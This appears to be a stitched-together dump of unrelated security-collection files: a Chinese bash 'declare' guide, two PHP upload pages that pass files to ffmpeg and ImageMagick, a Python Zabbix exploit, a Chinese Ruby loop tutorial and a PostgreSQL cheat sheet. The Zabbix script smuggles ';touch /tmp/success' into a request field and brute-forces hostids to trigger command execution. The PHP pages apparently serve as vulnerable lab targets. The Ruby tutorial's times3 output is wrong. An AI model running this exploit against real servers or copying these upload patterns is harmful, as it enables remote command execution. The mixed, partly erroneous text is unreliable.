完整文档请见: <https://www.gnu.org/software/coreutils/realpath>
.br
或者在本地使用: info \(aq(coreutils) realpath invocation\(aq
|
sec-knowleage
|
declare
===
声明变量,设置或显示变量的值和属性。
## 语法
```shell
declare [-aAfFgilnrtux] [-p] [name[=value] ...]
```
## 主要用途
- 显示包含指定属性的全部变量和值
- 显示包含指定属性的一到多个变量和值
- 显示一到多个变量的属性和值
- 显示所有变量的属性和值并显示函数的定义
- 显示所有变量的属性和值
- 显示所有全局变量的属性和值
- 显示全部函数名和函数定义
- 只显示全部函数名
- 显示一到多个函数名和函数定义
- 只显示一到多个函数名
- 声明全局变量(可选:赋值)
- 声明变量(可选:赋值、属性)
- 增加、删除变量的属性(可选:赋值)
## 选项
```shell
-f 将操作或显示限制为函数名及函数定义。
-F 只显示函数名(调试时附加行号和源文件)。
-g 在shell函数中使用时创建全局变量;其他情况下忽略。
-p 显示每个名称的属性和值。
*设置属性的选项:
-a 创建数组(如果支持)。
-A 创建关联数组(如果支持)。
-i 增加整型属性。
+i 删除整型属性。
-l 增加小写属性,变量的值将转换为小写。
+l 删除小写属性。
-n 增加引用属性(如果该选项存在)。
+n 删除引用属性(如果该选项存在)。
-r 增加只读属性。
-t 增加追踪属性。
+t 删除追踪属性。
-u 增加大写属性,变量的值将转换为大写。
+u 删除大写属性。
-x 增加导出属性。
+x 删除导出属性。
```
## 参数
```shell
name(可选):变量名或函数名。
value(可选):变量的值。
```
## 返回值
declare 返回true除非你提供了非法选项或赋值错误。具体导致异常的情况请查看**讨论**章节的**关于异常情况**。
## 例子
```shell
# 声明变量,当然也欢迎您在这个网站(感谢本项目发起人 @jaywcjlove)查询linux命令。
declare reference_website='https://wangchujiang.com/linux-command/'
# 显示所有包含整型属性的变量和值。
declare -i
# 定义变量b并赋值为3,具有整型属性。
declare -i b=5
# 显示属性,返回 declare -i b="5"。
declare -p b
# 删除整型属性。
declare +i b
# 显示属性,返回 declare -- b="5"。
declare -p b
# 根据变量属性强制转换值的英文大小写。
declare -u uc_var='abc'
declare -l lc_var='ABC'
# 显示'ABC abc';
echo "${uc_var} ${lc_var}"
```
```shell
# 定义函数内的全局变量
function test(){
declare -g a=3
# 或者
local -g b=3
# 或者
c=3
# 让我们查看它们的属性。
declare -p a b c
}
# 执行函数。
test
# 返回结果。
# declare -- a="3"
# declare -- b="3"
# declare -- c="3"
# 定义函数外的全局变量
declare a=3
b=3
declare –p a b
# 返回结果如下。
# declare -- a="3"
# declare -- b="3"
# 定义局部变量
function test2(){
local -i a=3
declare -i b=3
}
test2
# 没有该变量(已经被销毁了)
echo "${a} ${b}"
# 因此,我们日常脚本中最常见的类似于'a=3'实际上是声明并赋值了一个全局变量。
# 在接下来的 **讨论** 环节会延伸讨论全局和局部变量问题。
```
```shell
# 注意,不能使用 `+a` 或 `+A` 取消数组,也不能使用 `+r` 取消只读属性。
# 定义只读数组,设置属性的同时定义赋值。
declare -ar season=('Spring' 'Summer' 'Autumn' 'Winter')
# 或者这样。
season=('Spring' 'Summer' 'Autumn' 'Winter')
declare -ar season
# 显示所有数组。
declare -a
# 定义关联数组。
declare -A fruits=(['apple']='red' ['banana']='yellow')
# 显示所有关联数组。
declare -A
```
```shell
# 显示所有变量的属性和值并显示函数的定义,输出很长。
declare
# 显示所有变量的属性和值。
declare -p
# 显示所有全局变量的属性和值。
declare -g
```
```shell
# 显示全部函数名和函数定义。
declare -f
# 只显示全部函数名。
declare -F
# 定义两个函数。
function func_a(){ echo $(date +"%F %T"); }
function func_b(){ cd /; ls -lh --sort=time; }
# 显示一到多个函数名和函数定义。
declare -f func_a func_b
# 只显示一到多个函数名,验证某个名称是否已经定义为函数时有用。
declare -F func_a func_b
# 最好不要让函数名和变量名相同。
```
## 讨论
1. 全局和局部变量
正如上面**例子**指出的情况,我们在日常编写程序的时候需要了解这些概念,在这里
做个简要地介绍,当然你也可以很方便的搜索到相关内容。
- 全局变量:在整个脚本执行期间,只要没有被删除就**一直存在**。
- 局部变量:在函数内定义,函数执行后就被删除。
建议函数内使用`local`命令,函数外使用`declare`命令。
> *不要在脚本中定义过多的全局变量,那样可能会被其他函数调用造成意料之外的后果,并且也不方便检查出来。*
>
> *更不用说缺乏必要的注释了 —— ZhuangZhu-74*
相关资料:
- [google提供的编码规范](https://github.com/google/styleguide)
- [全局变量的讨论](https://unix.stackexchange.com/questions/381761/what-do-declare-name-and-declare-g-do)
2. 关于`declare` `typeset` `export` `local` `readonly`命令
为什么`declare`能做到的事,还需要定义其他这些命令呢?
因为这样语句含义会更加明确,例如:
- 设置导出属性的变量时,`export var`和`declare -x var`。
- 在函数内声明变量时,使用`local`。
- 声明只读变量,使用`readonly`。
`typeset`和`declare`命令一样。
3. 关于异常情况
有多种原因导致`declare`失败,关于这些情况可以参考[bash在线文档declare部分\(最新版\)](https://www.gnu.org/software/bash/manual/bash.html#index-declare),或执行 `info bash`
查看`declare`部分最后一大串`an attempt is`开头的句子。
### 注意
1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
2. 导出属性的相关介绍请查看'export'命令。
3. 只读属性的相关介绍请查看'readonly'命令。
4. 引用属性的相关介绍请查看'unset'命令的例子部分。
|
sec-knowleage
|
<?php
if(!empty($_FILES)) {
$filename = escapeshellarg($_FILES['file']['tmp_name']);
$newname = './' . uniqid() . '.mp4';
shell_exec("ffmpeg -i $filename $newname");
}
?>
<html>
<head>
<meta charset="utf-8">
<title>Video Player</title>
</head>
<body>
<?php if(!empty($_FILES)): ?>
<div>
<video src="<?=$newname?>" controls="controls" width="640" height="480"></video>
</div>
<?php endif; ?>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Submit">
</form>
</body>
</html>
|
sec-knowleage
|
import sys
import socket
import json
import sys
def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
data = conn.recv(2048)
conn.close()
return data
target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":";touch /tmp/success"}))
for i in range(10000, 10500):
data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
if data and b'failed' not in data:
print('hostid: %d' % i)
print(data)
|
sec-knowleage
|
<?php
$newname = '';
if (!empty($_FILES)) {
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (!in_array($ext, ['gif', 'png', 'jpg', 'jpeg'])) {
die('Unsupported filetype uploaded.');
}
$newname = uniqid() . '.png';
shell_exec("convert -resize 50x50 {$_FILES['file_upload']['tmp_name']} ./{$newname}");
}
?>
<form method="post" enctype="multipart/form-data">
File: <input type="file" name="file_upload">
<input type="submit">
</form>
<br>
<?php
if ($newname):
?>
<h1>Your image:</h1>
<p>
<a href="./<?=$newname?>" target="_blank">
<img src="./<?=$newname?>" width="50" height="50">
</a>
</p>
<?php
endif;
|
sec-knowleage
|
# 循环
---
- https://www.kancloud.cn/imxieke/ruby-base/107293
---
# 循环的基础
我们在编写程序时,常常遇到“希望这个处理重复执行多次”的情况。例如:
- 希望同样的处理执行 X 次
更复杂点的例子有:
- 用其他对象置换数组里的所有元素;
- 在达成某条件之前,一直重复执行处理。
这时,我们都需要用到循环。
接下来,我们将会介绍 Ruby 中基本的循环结构。其中比较特别的是,除了用传统的循环语句实现循环外,我们还能用方法来实现循环,也就是说我们可以根据自己的需要定制循环方法。
# 循环时的注意事项
下面两点是循环时必须注意的。
- 循环的主体是什么
- 停止循环的条件是什么
大家也许会认为,我们自己写的循环处理,“循环的主体是什么”我们自己总会知道吧。但是,实际编写程序时,稍不注意就会发生把不应该循环的处理加入到循环中这样的错误。而且,如果是循环里再嵌套循环的结构,在哪里做怎么样的循环、循环的结果怎么处理等都可能会使程序变得难以读懂。
另外,如果把“停止循环的条件”弄错了,有可能会发生处理无法终止,或者处理还没完成但已经跳出循环等这样的情况。大家写循环结构时务必注意上述两点,避免发生错误。
# 实现循环的方法
Ruby 中有两种实现循环的方法。
- 使用循环语句
利用 Ruby 提供现有的循环语句,可以满足大部分循环处理的需求。
- 使用方法实现循环
将块传给方法,然后在块里面写上需要循环的处理。一般我们在为了某种特定目的而需要定制循环结构时,才使用方法来实现循环。
下面是我们接下来要介绍的六种循环语句或方法。
- times 方法
- while 语句
- each 方法
- for 语句
- until 语句
- loop 方法
# times 方法
如果只是单纯执行一定次数的处理,用 times 方法可以很轻松实现。
假设我们希望把“满地油菜花”这个字符串连续输出 7 次。
```ruby
7.times do
puts "满地油菜花"
end
```
执行示例
```
> ruby times.rb
满地油菜花
满地油菜花
满地油菜花
满地油菜花
满地油菜花
满地油菜花
满地油菜花
```
使用 times 方法实现循环时,需要用到块 `do ~ end`。
```ruby
循环次数.times do
希望循环的处理
end
```
块的 `do ~ end` 部分可以用 `{~}` 代替,像下面这样:
```ruby
循环次数.times {
希望循环的处理
}
```
在 times 方法的块里,也是可以获知当前的循环次数的。
```ruby
10.times do |i|
┊
end
```
这样,就可以把当前的循环次数赋值给变量 i
```ruby
5.times do |i|
puts "第#{i} 次的循环。"
end
```
执行示例
```
> ruby times2.rb
第 0 次的循环。
第 1 次的循环。
第 2 次的循环。
第 3 次的循环。
第 4 次的循环。
```
请注意循环的次数是从 0 开始计算的。把循环次数的初始值设为 1 不失为一个好方法,但可惜我们不能这么做,因此我们只能在块里面对循环次数做调整
```ruby
5.times do |i|
puts "第#{i+1} 次的循环。"
end
```
执行示例
```
> ruby times3.rb
第 0 次的循环。
第 1 次的循环。
第 2 次的循环。
第 3 次的循环。
第 4 次的循环。
```
但是,这样的写法会使变量 `i` 的值与实际输出的值产生差异。从降低程序复杂度来看,这并不是一个好的的编程习惯。若是对循环次数比较在意时,我们不必勉强使用 `times` 方法,可使用下面即将介绍的 `for` 语句和 `while` 语句。
# for 语句
`for` 语句同样是用于实现循环的。需要注意的是,与刚才介绍的 `times` 方法不同,`for` 并不是方法,而是 Ruby 提供的循环控制语句。
以下是使用 `for` 语句的典型示例
```ruby
sum = 0
for i in 1..5
sum = sum + i
end
puts sum
```
执行示例
```
> ruby for.rb
15
```
这是一个求从 1 到 5 累加的程序。for 语句的结构如下所示:
```ruby
for 变量 in 开始时的数值..结束时的数值 do
希望循环的处理
end
```
> 可以省略 do
我们回顾一下程序代码清单 6.4。程序第 1 行将 0 赋值给变量 sum,程序第 5 行输出变量 sum 的值并换行。
第 2 行到第 4 行的 for 语句指定变量 i 的范围是从 1 到 5。也就是说,程序一边从 1 到 5 改变变量 i 的值,一边执行 sum = sum + i。如果不使用循环语句,这个程序可以改写为:
```ruby
sum = 0
sum = sum + 1
sum = sum + 2
sum = sum + 3
sum = sum + 4
sum = sum + 5
puts sum
```
for 语句与 times 方法不一样,循环的开始值和结束值可以任意指定。例如,我们想计算从变量 from 到变量 to 累加的总数,使用 times 方法的程序为:
```ruby
from = 10
to = 20
sum = 0
(to - from + 1).times do |i|
sum = sum + (i + from)
end
puts sum
```
使用 for 语句的程序为:
```ruby
from = 10
to = 20
sum = 0
for i in from..to
sum = sum + i
end
puts sum
```
使用 for 语句后的程序变得更加简单了。
另外,sum = sum + i 这个式子也有更简单的写法:
```ruby
sum += i
```
本例是加法的简写,做减法、乘法时也同样可以做这样的省略。
```
a -= b
a *= b
```
# 普通的 for 语句
其实上一节介绍的是 `for` 语句的特殊用法,普通的 `for` 语句如下所示:
```ruby
for 变量 in 对象 do
希望循环的处理
end
```
> 可以省略 do
可以看出,`in` 后面的部分和之前介绍的有点不同。
但和之前的 `for` 语句相比也并非完全不一样。实际上,`..` 或者 `...` 都是创建范围对象时所需的符号。
当然,并非任何对象都可以指定给 `for` 语句使用。下面是使用数组对象的例子。
```ruby
names = ["awk", "Perl", "Python", "Ruby"]
for name in names
puts name
end
```
执行示例
```ruby
> ruby for_names.rb
awk
Perl
Python
Ruby
```
本例中,循环遍历各数组的元素,并各自将其输出。
# while 语句
不管哪种类型的循环,while 语句都可以胜任,while 语句的结构如下:
```ruby
while 条件 do
希望循环的处理
end
```
> 可以省略 do
这几行程序的意思就是,只要条件成立,就会不断地重复循环处理。我们来看看下面的示例。
```ruby
i = 1
while i < 3
puts i
i += 1
end
```
执行示例
```ruby
> ruby while.rb
1
2
```
本例为什么会得出这样的结果呢。首先,程序将 1 赋值给变量 `i`,这时 `i` 的值为 1。接下来 `while` 语句循环处理以下内容:
1. 执行 `i < 3` 的比较。
2. 比较结果为真(也就是 `i` 比 3 小)时,程序执行 `puts i` 和 `i += 1`。比较结果为假(也就是 `i` 大于等于 3)时,程序跳出 `while` 循环,不执行任何内容。
3. 返回 1 处理。
首次循环,由于 `i` 的初始值为 1,因此程序执行 `puts 1`。第 2 次循环,`i` 的值为 2,比 3 小,因此程序执行 `puts 2`。当程序执行到第 3 次循环,i 的值为 3,比 3 小的条件不成立,也就是说比较结果为假,因此,程序跳出 `while` 循环,并终止所有处理。
我们再来写一个使用 `while` 语句的程序。
把之前使用 `for` 语句写的程序,改写为使用 `while` 语句程序
```ruby
sum = 0
i = 1
while i <= 5
sum += i
i += 1
end
puts sum
```
这时与使用 `for` 语句的程序有细微的区别。首先,变量 `i` 的条件指定方式不一样。`for` 语句的例子通过 `1..5` 指定条件的范围。`while` 语句使用比较运算符 `<=`,指定“i 小于等于 5 时(循环)”的条件。
另外,`i` 的累加方式也不一样。`while` 语句的例子在程序里直接写出了 `i` 是如何进行加 1 处理的——`i += 1`。而 `for` 语句的例子并不需要在程序里直接写如何对 `i` 进行操作,自动在每次循环后对 `i` 进行加 1 处理。
就像这个例子一样,只要 `for` 语句能实现的循环,我们没必要特意将它改写为 `while` 语句。
```ruby
sum = 0
i = 1
while sum < 50
sum += i
i += 1
end
puts sum
```
在这个例子里,作为循环条件的不是变量 `i`,而是变量 `sum`。循环条件现在变为“sum 小于 50 时执行循环处理”。一般来说,不通过计算,我们并不知道 `i` 的值为多少时 `sum` 的值才会超过 50,因此这种情况下使用 `for` 语句的循环反而会让程序变得难懂。
有时 for 语句写的程序易懂,有时候 `while` 语句写的程序易懂。我们会在本章的最后说明,如何区别使用 `for` 语句和 `while` 语句。
# until 语句
与 `if` 语句相对的有 `unless` 语句,同样地,与 `while` 语句相对的有 `until` 语句。`until` 语句的结构与 `while` 语句完全一样,只是条件判断刚好相反,不满足条件时才执行循环处理。换句话说,`while` 语句是一直执行循环处理,直到条件不成立为止;`until` 语句是一直执行循环处理,直到条件成立为止。
```ruby
until 条件 do
希望循环的处理
end
```
> 可以省略 do
```ruby
sum = 0
i = 1
until sum >= 50
sum += i
i+= 1
end
puts sum
```
本例是将使用 `while` 语句的程序用 `until` 语句改写了,与 `while` 语句所使用的条件刚好相反。
其实,在 `while` 语句的条件上使用表示否定的运算符 `!`,也能达到和 `until` 语句相同的效果。
```ruby
sum = 0
i = 1
while !(sum >= 50)
sum += i
i += 1
end
puts sum
```
虽然可以使用 `while` 语句的否定形式代替 `until` 语句。但是,有时对一些比较复杂的条件表达式使用否定,反而会不直观,影响程序理解,在这种情况下,我们应该考虑使用 `until` 语句。
# each 方法
`each` 方法将对象集合里的对象逐个取出,这与 `for` 语句循环取出数组元素非常相似。实际上,我们可以非常简单地将使用 for 语句的程序改写为使用 `each` 方法的程序
```ruby
names = ["awk","Perl","Python","Ruby"]
names.each do |name|
puts name
end
```
each 方法的结构如下:
```ruby
对象.each do | 变量 |
希望循环的处理
end
```
在说明 `times` 方法我们曾提到过,块的 `do ~ end` 部分可换成 `{ ~ }`。
```ruby
对象.each {| 变量 |
希望循环的处理
}
```
这与下面的程序的效果是几乎一样。
```ruby
for 变量 in 对象
希望循环的处理
end
```
在 Ruby 内部,`for` 语句是用 `each` 方法来实现的。因此,可以使用 `each` 方法的对象,同样也可以指定为 `for` 语句的循环对象。
在介绍 `for` 语句时我们举过使用范围对象的例子,我们试着用 `each` 方法改写一下。
```ruby
sum = 0
(1..5).each do |i|
sum= sum + i
end
puts sum
```
# loop 方法
还有一种循环的方法,没有终止循环条件,只是不断执行循环处理。Ruby 中的 loop 就是这样的循环方法。
```ruby
loop do
print "Ruby"
end
```
执行上面的程序后,整个屏幕会不停的输出文字 Ruby。为了避免这样的情况发生,在实际使用 `loop` 方法时,我们需要用到接下来将要介绍的 `break`,使程序可以中途跳出循环。
> 程序不小心执行了死循环时,我们可以使用 CTRL + c 来强行终止程序。
# 循环控制
在进行循环处理的途中,我们可以控制程序马上终止循环,或者跳到下一个循环等。Ruby 提供了如下表所示的三种控制循环的命令。
命令 | 用途
- | -
break | 终止程序,跳出循环
next | 跳到下一次循环
redo | 在相同的条件下重复刚才的处理
```ruby
puts "break 的例子:"
i = 0
["Perl", "Python", "Ruby", "Scheme"].each do |lang|
i += 1
if i == 3
break
end
p [i,lang]
end
puts "next 的例子:"
i = 0
["Perl", "Python", "Ruby", "Scheme"].each do |lang|
i += 1
if i == 3
next
end
p [i,lang]
end
puts "redo 的例子:"
i = 0
["Perl", "Python", "Ruby", "Scheme"].each do |lang|
i += 1
if i == 3
redo
end
p [i,lang]
end
```
我们来看看本例中的 break、next、redo 有什么不同。程序由三部分组成,除了 break、next、redo 这三部分的代码外,其他地方都是相同的。下面是执行后的结果。
```
> ruby break_next_redo.rb
break 的例子:
[1, "Perl"]
[2, "Python"]
next 的例子:
[1, "Perl"]
[2, "Python"]
[4, "Scheme"]
redo 的例子:
[1, "Perl"]
[2, "Python"]
[4, "Ruby"]
[5, "Scheme"]
```
**break**
`break` 会终止全体程序。在代码中,`i` 为 3 时,程序会执行第 6 行的 `break`。执行 `break` 后,程序跳出 `each` 方法循环,前进至程序的第 10 行。因此,程序没有输出 Ruby 和 Scheme。
我们再来介绍一个关于 `break` 的例子。下列程序代码使程序最多只能输出 10 行匹配到的内容。匹配的时候,累加变量 matches,当达到 max_matches 时,程序就会终止 each_line 方法的循环。
```ruby
pattern = Regexp.new(ARGV[0])
filename = ARGV[1]
max_matches = 10 # 输出的最大行数
matches = 0 # 已匹配的行数
file = File.open(filename)
file.each_line do |line|
if matches >= max_matches
break
end
if pattern =~ line
matches += 1
puts line
end
end
file.close
```
**next**
使用 next 后,程序会忽略 next 后面的部分,跳到下一个循环开始的部分。在i 为 3 时在执行第 16 行的 next 后,程序前进到 each 方法的下个循环。也就是说,将 Scheme 赋值给 lang,并执行 i += 1。因此,程序并没有输出 Ruby,而是输出了 Scheme。
我们再来看看另外一个 next 的例子。程序逐行读取输入的内容,忽略空行或者以 # 开头的行,原封不动地输出除此以外所有行的内容。
strip.rb
```ruby
file = File.open(ARGV[0])
file.each_line do |line|
next if /^\s*$/ =~ line # 空行
next if /^#/ =~ line # 以“#”开头的行
puts line
end
file.close
```
fact.rb
```ruby
# 求10 的阶乘
ans = 1
for i in 1..10
ans *= i
end
# 输出
puts "10! = #{ans}"
```
stripped_fact.rb
```ruby
ans = 1
for i in 1..10
ans *= i
end
puts "10! = #{ans}"
```
执行以下命令后,我们会得到去掉 fact.rb 的注释和空行后的 stripped_fact.rb。
```
> ruby strip.rb fact.rb > stripped_fact.rb
```
**redo**
`redo` 与 `next` 非常像,与 `next` 的不同之处是,`redo` 会再执行一次相同的循环。
与 `next` 时的情况不同,`redo` 会输出 Ruby。这是由于,`i` 为 3 时就执行了 `redo`,程序只是返回循环的开头,也就是从程序的 `i += 1` 部分开始重新再执行处理,所以 `lang` 的值并没有从 Ruby 变为 Scheme。由于重复执行了 `i += 1`,`i` 的值变为 4,这样 `if` 语句的条件 `i == 3` 就不成立了,redo 也不会再执行了,程序顺理成章地输出了 [4, "Ruby"] 以及 [5, "Scheme"]
另外,大家要注意 `redo` 的使用方法,稍不留神就会在同样的条件下,不断地重复处理,陷入死循环中。
`break`、`next` 和 `redo` 中,一般比较常用是 `break` 和 `next`。大家应该熟练掌握这两个命令的用法。即使是 Ruby 默认提供的库里面,实际上也很难找到 `redo` 的踪影,所以当我们在希望使用 `redo` 时,应该好好考虑是否真的有必要使用 `redo`。
# do~end 与 {~}
在 times 方法的示例中,我们介绍了块的两种写法,`do ~ end` 与 `{ ~ }`。从执行效果来看,两种方法虽然没有太大区别,但一般我们会遵守以下这个约定俗成的编码规则:
- 程序是跨行写的时候使用 `do ~ end`
- 程序写在 1 行的时候用 `{ ~ }`
以 times 方法来举例,会有以下两种写法。
```ruby
10.times do |i|
puts i
end
```
或者,
```ruby
10.times{|i| puts i}
```
刚开始大家可能会有点不习惯。我们可以这样理解,`do ~ end` 表示程序要执行内容是多个处理的集合,而 `{ ~ }` 则表示程序需要执行的处理只有一个,即把整个带块的方法看作一个值。
如果用把 `do ~ end` 代码合并在一起,程序会变成下面这样:
```ruby
10.times do |i| puts i end
````
以上写法,怎么看都给人一种很难断句的感觉。虽然实际上使用哪种写法都不会影响程序的运行,但在刚开始编写程序时,还是建议大家先遵守这个编码规则。
|
sec-knowleage
|
---
title: PostgreSQL
background: bg-[#3d6488]
tags:
- DB
- RDBMS
categories:
- Database
date: 2021-01-11 14:19:24
intro: |
The [PostgreSQL](https://www.postgresql.org/docs/current/) cheat sheet provides you with the common PostgreSQL commands and statements.
plugins:
- copyCode
---
Getting Started
---------------
### Getting started
Switch and connect
```shell script
$ sudo -u postgres psql
```
List all databases
```shell script
postgres=# \l
```
Connect to the database named postgres
```shell script
postgres=# \c postgres
```
Disconnect
```shell script
postgres=# \q
postgres=# \!
```
### psql commands {.col-span-2}
| Option | Example | Description |
|---------------------|----------------------------------------------|--------------------------------|
| `[-d] <database>` | psql -d mydb | Connecting to database |
| `-U` | psql -U john mydb | Connecting as a specific user |
| `-h` `-p` | psql -h localhost -p 5432 mydb | Connecting to a host/port |
| `-U` `-h` `-p` `-d` | psql -U admin -h 192.168.1.5 -p 2506 -d mydb | Connect remote PostgreSQL |
| `-W` | psql -W mydb | Force password |
| `-c` | psql -c '\c postgres' -c '\dt' | Execute a SQL query or command |
| `-H` | psql -c "\l+" -H postgres > database.html | Generate HTML report |
| `-l` | psql -l | List all databases |
| `-f` | psql mydb -f file.sql | Execute commands from a file |
| `-V` | psql -V | Print the psql version |
{.show-header}
### Getting help
| - | - |
|-------------|--------------------------------|
| `\h` | Help on syntax of SQL commands |
| `\h` DELETE | DELETE SQL statement syntax |
| `\?` | List of PostgreSQL command |
Run in PostgreSQL console
PostgreSQL Working
-------
### Recon
Show version
```
SHOW SERVER_VERSION;
```
Show system status
```sql {.wrap}
\conninfo
```
Show environmental variables
```sql {.wrap}
SHOW ALL;
```
List users
```sql {.wrap}
SELECT rolname FROM pg_roles;
```
Show current user
```sql {.wrap}
SELECT current_user;
```
Show current user's permissions
```
\du
```
Show current database
```sql {.wrap}
SELECT current_database();
```
Show all tables in database
```sql {.wrap}
\dt
```
List functions
```sql {.wrap}
\df <schema>
```
### Databases
List databases
```sql {.wrap}
\l
```
Connect to database
```sql {.wrap}
\c <database_name>
```
Show current database
```sql {.wrap}
SELECT current_database();
```
[Create database](http://www.postgresql.org/docs/current/static/sql-createdatabase.html)
```sql {.wrap}
CREATE DATABASE <database_name> WITH OWNER <username>;
```
[Drop database](http://www.postgresql.org/docs/current/static/sql-dropdatabase.html)
```sql {.wrap}
DROP DATABASE IF EXISTS <database_name>;
```
[Rename database](http://www.postgresql.org/docs/current/static/sql-alterdatabase.html)
```sql {.wrap}
ALTER DATABASE <old_name> RENAME TO <new_name>;
```
### Tables
List tables, in current db
```sql {.wrap}
\dt
SELECT table_schema,table_name FROM information_schema.tables ORDER BY table_schema,table_name;
```
List tables, globally
```sql {.wrap}
\dt *.*.
SELECT * FROM pg_catalog.pg_tables
```
List table schema
```sql {.wrap}
\d <table_name>
\d+ <table_name>
SELECT column_name, data_type, character_maximum_length
FROM INFORMATION_SCHEMA.COLUMNS
WHERE table_name = '<table_name>';
```
[Create table](http://www.postgresql.org/docs/current/static/sql-createtable.html)
```sql {.wrap}
CREATE TABLE <table_name>(
<column_name> <column_type>,
<column_name> <column_type>
);
```
Create table, with an auto-incrementing primary key
```sql {.wrap}
CREATE TABLE <table_name> (
<column_name> SERIAL PRIMARY KEY
);
```
[Delete table](http://www.postgresql.org/docs/current/static/sql-droptable.html)
```sql {.wrap}
DROP TABLE IF EXISTS <table_name> CASCADE;
```
### Permissions
Become the postgres user, if you have permission errors
```shell
sudo su - postgres
psql
```
[Grant](http://www.postgresql.org/docs/current/static/sql-grant.html) all permissions on database
```sql {.wrap}
GRANT ALL PRIVILEGES ON DATABASE <db_name> TO <user_name>;
```
Grant connection permissions on database
```sql {.wrap}
GRANT CONNECT ON DATABASE <db_name> TO <user_name>;
```
Grant permissions on schema
```sql {.wrap}
GRANT USAGE ON SCHEMA public TO <user_name>;
```
Grant permissions to functions
```sql {.wrap}
GRANT EXECUTE ON ALL FUNCTIONS IN SCHEMA public TO <user_name>;
```
Grant permissions to select, update, insert, delete, on a all tables
```sql {.wrap}
GRANT SELECT, UPDATE, INSERT ON ALL TABLES IN SCHEMA public TO <user_name>;
```
Grant permissions, on a table
```sql {.wrap}
GRANT SELECT, UPDATE, INSERT ON <table_name> TO <user_name>;
```
Grant permissions, to select, on a table
```sql {.wrap}
GRANT SELECT ON ALL TABLES IN SCHEMA public TO <user_name>;
```
### Columns
[Add column](http://www.postgresql.org/docs/current/static/sql-altertable.html)
```sql {.wrap}
ALTER TABLE <table_name> IF EXISTS
ADD <column_name> <data_type> [<constraints>];
```
Update column
```sql {.wrap}
ALTER TABLE <table_name> IF EXISTS
ALTER <column_name> TYPE <data_type> [<constraints>];
```
Delete column
```sql {.wrap}
ALTER TABLE <table_name> IF EXISTS
DROP <column_name>;
```
Update column to be an auto-incrementing primary key
```sql {.wrap}
ALTER TABLE <table_name>
ADD COLUMN <column_name> SERIAL PRIMARY KEY;
```
Insert into a table, with an auto-incrementing primary key
```sql {.wrap}
INSERT INTO <table_name>
VALUES (DEFAULT, <value1>);
INSERT INTO <table_name> (<column1_name>,<column2_name>)
VALUES ( <value1>,<value2> );
```
### Data
[Select](http://www.postgresql.org/docs/current/static/sql-select.html) all data
```sql {.wrap}
SELECT * FROM <table_name>;
```
Read one row of data
```sql {.wrap}
SELECT * FROM <table_name> LIMIT 1;
```
Search for data
```sql {.wrap}
SELECT * FROM <table_name> WHERE <column_name> = <value>;
```
[Insert](http://www.postgresql.org/docs/current/static/sql-insert.html) data
```sql {.wrap}
INSERT INTO <table_name> VALUES( <value_1>, <value_2> );
```
[Update](http://www.postgresql.org/docs/current/static/sql-update.html) data
```sql {.wrap}
UPDATE <table_name>
SET <column_1> = <value_1>, <column_2> = <value_2>
WHERE <column_1> = <value>;
```
[Delete](http://www.postgresql.org/docs/current/static/sql-delete.html) all data
```sql {.wrap}
DELETE FROM <table_name>;
```
Delete specific data
```sql {.wrap}
DELETE FROM <table_name>
WHERE <column_name> = <value>;
```
### Users
List roles
```sql {.wrap}
SELECT rolname FROM pg_roles;
```
[Create user](http://www.postgresql.org/docs/current/static/sql-createuser.html)
```sql {.wrap}
CREATE USER <user_name> WITH PASSWORD '<password>';
```
[Drop user](http://www.postgresql.org/docs/current/static/sql-dropuser.html)
```sql {.wrap}
DROP USER IF EXISTS <user_name>;
```
[Alter](http://www.postgresql.org/docs/current/static/sql-alterrole.html) user password
```sql {.wrap}
ALTER ROLE <user_name> WITH PASSWORD '<password>';
```
### Schema
List schemas
```sql {.wrap}
\dn
SELECT schema_name FROM information_schema.schemata;
SELECT nspname FROM pg_catalog.pg_namespace;
```
[Create schema](http://www.postgresql.org/docs/current/static/sql-createschema.html)
```sql {.wrap}
CREATE SCHEMA IF NOT EXISTS <schema_name>;
```
[Drop schema](http://www.postgresql.org/docs/current/static/sql-dropschema.html)
```sql {.wrap}
DROP SCHEMA IF EXISTS <schema_name> CASCADE;
```
### Dates
Show [current date](https://www.postgresql.org/docs/15/functions-datetime.html#FUNCTIONS-DATETIME-CURRENT) YYYY-MM-DD
```sql {.wrap}
SELECT current_date;
```
Calculate [age](https://www.postgresql.org/docs/15/functions-datetime.html#:~:text=age%20(%20timestamp%2C%20timestamp%20)%20%E2%86%92%20interval) between two dates
```sql {.wrap}
SELECT age(timestamp, timestamp);
```
Show [current time](https://www.postgresql.org/docs/15/functions-datetime.html#FUNCTIONS-DATETIME-CURRENT) with time zone
```sql {.wrap}
SELECT current_time;
```
[Make](https://www.postgresql.org/docs/15/functions-datetime.html#:~:text=make_date%20(%20year%20int%2C%20month%20int%2C%20day%20int%20)%20%E2%86%92%20date) dates using integers
```sql {.wrap}
SELECT make_date(2021,03,25);
```
PostgreSQL Commands
-----------
### Tables
| - | - |
|------------------|---------------------------------|
| `\d <table>` | Describe table |
| `\d+ <table>` | Describe table with details |
| `\dt` | List tables from current schema |
| `\dt *.*` | List tables from all schemas |
| `\dt <schema>.*` | List tables for a schema |
| `\dp` | List table access privileges |
| `\det[+]` | List foreign tables |
### Query buffer
| - | - |
|--------------|------------------------------------|
| `\e [FILE]` | Edit the query buffer (or file) |
| `\ef [FUNC]` | Edit function definition |
| `\p` | Show the contents |
| `\r` | Reset (clear) the query buffer |
| `\s [FILE]` | Display history or save it to file |
| `\w FILE` | Write query buffer to file |
### Informational {.row-span-4}
| - | - |
|-----------------|---------------------------------|
| `\l[+]` | List all databases |
| `\dn[S+]` | List schemas |
| `\di[S+]` | List indexes |
| `\du[+]` | List roles |
| `\ds[S+]` | List sequences |
| `\df[antw][S+]` | List functions |
| `\deu[+]` | List user mappings |
| `\dv[S+]` | List views |
| `\dl` | List large objects |
| `\dT[S+]` | List data types |
| `\da[S]` | List aggregates |
| `\db[+]` | List tablespaces |
| `\dc[S+]` | List conversions |
| `\dC[+]` | List casts |
| `\ddp` | List default privileges |
| `\dd[S]` | Show object descriptions |
| `\dD[S+]` | List domains |
| `\des[+]` | List foreign servers |
| `\dew[+]` | List foreign-data wrappers |
| `\dF[+]` | List text search configurations |
| `\dFd[+]` | List text search dictionaries |
